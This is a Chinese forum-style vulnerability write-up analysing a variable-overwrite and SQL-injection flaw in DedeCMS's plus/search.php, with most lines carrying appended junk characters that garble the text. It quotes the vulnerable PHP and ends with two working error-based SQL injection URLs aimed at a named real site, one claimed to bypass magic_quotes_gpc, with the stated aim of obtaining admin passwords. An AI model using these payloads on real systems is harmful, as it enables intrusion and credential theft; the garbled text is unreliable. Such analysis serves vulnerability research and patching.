微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.' i0 H9 r( _& d: \! I
作者: c4rp3nt3r@0x50sec.org* z6 G% D" E/ U K7 C1 j
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
0 y( T; b/ y% l5 d+ f7 h ( n2 l5 ]- v+ [; K* W
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.0 ?+ `% A+ S' h, q% r( b* l$ m
& q7 {& B' D; s
============* ]8 `+ I# l( T& \
4 U% @% K' X5 C0 F6 M ( {! [' c, w4 U: t$ Y
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码." f0 a( k, Q8 U5 u, ?5 ~
8 b. C" f: p( m. Arequire_once(dirname(__FILE__).”/../include/common.inc.php”);
) p5 k( b- n7 @require_once(DEDEINC.”/arc.searchview.class.php”);
4 W, r4 ]- S6 o* p1 a+ c7 u, t
5 L# [6 @% x1 i) Y$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
7 K) j2 n0 W! T* @! ?$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;/ w$ r) |! q* F9 x
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
+ M, F( f& l' }* V5 [, d$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;: y' y8 ~0 E2 o+ t0 L
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
) [9 y; Z& X" b; q# p- u9 J0 G
. I: [( ]( [6 H; O: D* f) |if(!isset($orderby)) $orderby=”;" I9 N0 V3 s+ H; E
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
: B. ^7 [. p C/ g* n& `6 j; [: U
( k* r6 N; Q. }
3 R# s, n+ H& ]. L1 [, n; R0 l' B3 jif(!isset($searchtype)) $searchtype = ‘titlekeyword’;" r: B& t- N0 f V; s7 x8 F
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);, v* a r8 o9 u1 X- J
+ T( B4 |& W# ]0 Y
if(!isset($keyword)){# r6 I* u) c7 Z
if(!isset($q)) $q = ”;. N( K4 m1 D" N1 m
$keyword=$q;
2 `$ p b% h: s% r}
* E8 L( Q5 q* e2 Q: v
/ p% D& c( e% k# C7 R% @$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));; O) D+ Q0 Z9 {( \) W
9 a& p# m4 r3 M2 V$ ~
//查找栏目信息
3 y& @4 W& E+ A$ g8 aif(empty($typeid))4 W6 D% G6 M0 P2 o4 K( Y3 U
{
5 C' B& C% Z5 J- ?+ D $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;9 f6 ^' |% a1 w9 d' C. e+ V
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) ). Z0 K: `$ G- w7 w
{
: ` g- b! D* Q& G7 ?% N( M $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
R# \+ b* f, e# y fwrite($fp, “<”.”?php\r\n”);
) l* s& @. K0 T# c3 ?+ k $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);; q/ v8 D$ t. v
$dsql->Execute();
3 V! X1 ?. l: o- M' A/ \: `+ f while($row = $dsql->GetArray())
; ?" W8 v# P8 f+ I2 c {
( q7 ^# u+ ^( I1 S+ x# w) d fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
2 w7 {$ f: e$ Z& p }! V) u3 }; U( {9 ]' v+ ~1 |
fwrite($fp, ‘?’.'>’);
@) E9 F+ [: |6 S/ O) k9 v fclose($fp);
5 P* e7 \' c) I( i/ r% j }
3 q0 q. t- S1 Q //引入栏目缓存并看关键字是否有相关栏目内容
( B% D& L7 I$ A. h require_once($typenameCacheFile);( U5 n6 ]7 W8 c2 ~# D1 {7 p
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
0 H9 [$ C2 z! F. R! q: F//5 ~/ K) i) X& t$ N
if(isset($typeArr) && is_array($typeArr))
9 z; M2 ]5 [& n: y3 V {: n; J1 P# h# Y9 f
foreach($typeArr as $id=>$typename); r/ `& O5 J3 k0 |
{
+ Q9 Q s- x5 t. z: E3 H& f( ~
5 D- _0 `+ b+ M" g0 F <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
( P( q1 S# ]) w! {& P if($keyword != $keywordn)
! c0 Z3 M8 ?0 x {
2 Y( w; W$ }6 E0 b" y $keyword = $keywordn;5 `, q1 T3 ^* t9 Z
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设$ j! k+ w E. b% f. |) M
break;
; V2 h# J: [, d, n4 e }: D! S4 {" W+ H
}0 k* K ?4 M' O, O" u2 `$ {
}
' q2 P, V- q: ~}
1 \7 ~6 A5 v& y! `! s( Z然后plus/search.php文件下面定义了一个 Search类的对象 .
$ D9 @" [3 C: m, Z+ ]在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
, z( L; k' R! l6 J+ N2 c" {$this->TypeLink = new TypeLink($typeid);8 F) Z: s. t; x
% d0 b. m. z0 x2 y3 V% A- FTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
7 d) O p4 `. C6 d . ^: P1 v" y# H0 Q# |. d4 i; K
class TypeLink% F) j5 r& f" g2 a# p# J* [ b
{' u/ s8 x: z5 ~0 l- \3 L
var $typeDir;
; U4 {) t e P& k6 h, E var $dsql;
+ [- q; ]& P9 [5 U var $TypeID;
9 g$ g. o* Z* R+ F1 i% ]$ e var $baseDir;+ f0 j# P, H C4 x3 n4 s3 d) d I
var $modDir;; @* X" _/ Q) B) @4 g* ?% v$ Y
var $indexUrl;8 ?/ L8 O1 y9 l, h; p+ a* I! O
var $indexName;
( K1 X. d) r6 q1 k4 I0 h1 ?" b; _5 y var $TypeInfos;
- L+ q; P. O$ [" s2 x var $SplitSymbol;: i+ @* V2 N5 v1 \
var $valuePosition;
/ M+ w& Q" J* f7 e var $valuePositionName;
* U) X+ u: m: d" U. Q var $OptionArrayList;//构造函数///////" K( ^2 E# i% l% |3 w( @
//php5构造函数$ u5 W; |' k4 s6 F5 ~" D3 b8 o3 T- s
function __construct($typeid)
) ?0 t! {1 ]: r, x ]5 c {
) Q. V; O, E& n+ J% T, G9 g $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];- a8 ?% U0 }4 Y3 R4 E5 N, B
$this->indexName = $GLOBALS['cfg_indexname'];
' @& K h* Y& i: V `# u- F* t' |- x) g $this->baseDir = $GLOBALS['cfg_basedir'];; n) I/ z: l8 W. ~/ X; r
$this->modDir = $GLOBALS['cfg_templets_dir'];
+ N6 l% [3 M( a" G" |: D5 `% o $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];8 m/ Z( s+ G* Z# g$ w
$this->dsql = $GLOBALS['dsql'];
/ N. q9 O* q/ ]) S2 K $this->TypeID = $typeid;
- }+ ~! ?2 g9 z/ @ U $this->valuePosition = ”;% t6 ]( z. Q# F5 ~8 x$ h& I' X' w7 L$ K3 ?
$this->valuePositionName = ”;
# X5 g9 Q+ D. H: y! l $this->typeDir = ”;
* }' A2 ~' R0 j% ^ $this->OptionArrayList = ”;3 z9 f: f% {( f0 ~
( y' \- R5 }+ p# F' V //载入类目信息) O7 c {" ?8 Q h6 Y. a
( X) U, O! U+ Q; ^. m l <font color=”Red”>$query = “SELECT tp.*,ch.typename as
) G$ N [) u1 t' Wctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join& n: Y2 P- Q. _2 C0 z! }% C
`#@__channeltype` ch5 y% V1 i% q3 d z0 `5 O% ?
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
: c! U! j& ?! V% t) g6 t
4 y2 l/ F& _. \7 H! X. Z# e, o1 ~4 d; Q if($typeid > 0)- p# Q" W$ Z" {9 D* P! u2 e
{, T9 ^: @2 O2 z k1 t& b/ p
$this->TypeInfos = $this->dsql->GetOne($query);
! V: \- }" D$ G利用代码一 需要 即使magic_quotes_gpc = Off
@& g7 p5 r Y; Z* w9 N - H: ?+ M) }) p! k( P. U, X
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
* w* q6 z2 _. V0 C; Y- N! j; ^
5 }. k; _ Q+ m" H+ U, Z6 q这只是其中一个利用代码… Search 类的构造函数再往下
1 p V. f+ g9 Y0 z 6 Z. V9 O, H# _. {5 B; ~
……省略: ?" I" ~/ v u7 M( p9 @8 ]
$this->TypeID = $typeid;7 |' W+ s' N; @7 V! Z5 V0 T7 I
……省略
! ?& @+ q0 }* r z; Rif($this->TypeID==”0″){
' w) L& T' ~9 Y$ k4 T $this->ChannelTypeid=1;; ^1 i {8 e% ?; L' `
}else{
6 @) [2 `( [* n2 S" o $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
$ {3 s& Y8 j4 O8 h, H/ b//现在不鸡肋了吧亲…2 s7 e$ i1 X" Z; M& L3 ?
$this->ChannelTypeid=$row['channeltype'];
: z* d5 b6 g3 M
- ^' o: Z* D/ W5 W }& N2 o7 g9 d0 d7 `& P5 F. E+ c7 j
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.2 \0 K9 B% x2 _
5 h% s3 B* v$ q; p7 D. _# vwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title* m% u+ F: V8 M% A
# ]4 m+ O8 U- ` W
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
I0 y5 b; {' F# f |